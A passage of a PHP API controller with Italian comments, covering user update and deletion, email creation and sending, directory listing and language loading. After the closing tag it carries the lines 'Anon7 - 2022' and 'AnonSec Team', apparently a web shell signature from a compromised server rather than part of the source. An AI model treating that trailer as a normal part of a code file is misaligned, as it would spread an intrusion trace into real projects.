					return $this->printMessage( $this->responseMessage("Utente creato con successo!", true) );
				}
			
			} else {
				return $this->printMessage( $this->responseMessage("Ops! Utente non creato!", false) );
			}

		} else {
			return $this->printMessage( $this->responseMessage("Non hai i permessi", false) );
		}

	}

	

	public function updateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $email_registrazione, $id, $color){
		
		$user = $this->validateAuthAndGetUser();
		
		if($this->checkSuperAdmin() == true) {

			$ocuser = new OCUser(true);
			$res = $ocuser->UpdateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $user['id_user'], $id, $color);
			
			if($res) {

					return $this->printMessage( $this->responseMessage("Utente aggiornato con successo!", true) );
				
			
			} else {
				return $this->printMessage( $this->responseMessage("Ops! Utente non aggiornato!", false) );
			}

		} else {
			return $this->printMessage( $this->responseMessage("Non hai i permessi", false) );
		}

	}

	public function deleteUser($id){
		
		$user = $this->validateAuthAndGetUser();
		
		if($this->checkSuperAdmin() == true) {

			$ocuser = new OCUser(true);
			$res = $ocuser->DeleteUser($id);
			
			if($res) {
				return $this->printMessage( $this->responseMessage("Utente eliminato con successo!", true) );
				
			} else {
				return $this->printMessage( $this->responseMessage("Ops! Utente non eliminato!", false) );
			}

		} else {
			return $this->printMessage( $this->responseMessage("Non hai i permessi", false) );
		}

	}



	public function createEmail($subject, $description, $emailtypeid, $txt, $html){
		$this->validateAuthAndGetUser();
		if($this->checkUserPermission() == true) {

			$email = new Emaildb();
			$storeEmail = $email->SaveEmail($subject, $description, $emailtypeid, $txt, $html);
			
			if($storeEmail == false){
				return $this->printMessage( $this->responseMessage("Email not created", false) );
			} else {
				return $this->printMessage( $this->responseMessage("Email created with id: ".$storeEmail, true) );
			}	
		}
	}

	public function sendEmailToGroup($emailid, $sender_userid, $dest_groupid ){
		$this->validateAuthAndGetUser();
		if($this->checkUserPermission() == true) {

			$email = new OCMailer();

			//SEND EMAIL
			$emailCK = $email->SendEmail($emailid,$dest_groupid);
			
			if($emailCK){
				return $this->printMessage( $this->responseMessage("All emails send!", true) );
			} else {
				return $this->printMessage( $this->responseMessage("Email: ".$emailid ." not send!", false) );
			}	
		}
	}

	public function sendEmailToUser($emailid, $sender_userid, $dest_userid){
		$this->validateAuthAndGetUser();
		if($this->checkUserPermission() == true) {

			$email = new OCMailer();

			//SEND EMAIL
			$emailCK = $email->SendEmail($emailid,$dest_userid);
			
			if($emailCK){
				return $this->printMessage( $this->responseMessage("All emails send!", true) );
			} else {
				return $this->printMessage( $this->responseMessage("Email: ".$emailid ." not send!", false) );
			}	
		}
	}
	
	/* 
	 *
	 * METODO PRIVATO CHE MOSTRA TUTTI I FILE DI UNA CARTELLA RICHIESTA
	 * 
	 */

	private function listDirectory($path){
	    if(!is_array($files)){
	    	$files = array();
	    }
	    $handle = @opendir($path);
	    if($handle){
		    while (false !== ($file = readdir($handle))) {
		        if ($file == '.' || $file == '..' || $file == '.DS_Store') continue;
		        if ( is_dir("$path/$file")) {
		            $files = array_merge($files,$this->listDirectory("$path/$file"));
		        } else {
		            $files[] = "$path/$file";
		        }
		    }
		    //ordino per nome
		 	sort($files,SORT_STRING);


		    closedir($handle);
		}else{
	    	$files = array();
		}
	    return $files;
	}




	/**
	*
	*	METODO INTERNATIONALIZATION stampa il contenuto di un file json presente in una cartella (utile per impostare lingue dinamiche)
	*
	**/

	public function getEN(){
		
		$languageFile = 'languages/en.json';
		$language = file_get_contents($languageFile);
		$language = json_decode($language, true);

		return $this->printMessage( $this->responseMessage($language, true) );
	}

	/**
	*
	*	METODO DATA DINAMICA COPYRIGHT
	*
	**/

	public function getCopyrightDate(){
		return $this->printMessage( $this->responseMessage(date("Y"), true) );
	}

///////// FINE DEL FILE ////////////// da qui in poi va in file diversi





	public function getCitta(){
		$this->validateAuthAndGetUser();	
		$contentOperations = new Content();
		$result = $contentOperations->getCitta();
	return $this->printMessage( $this->responseMessage($result, true) );
	}

	
	
	
}

?>

Anon7 - 2022
AnonSec Team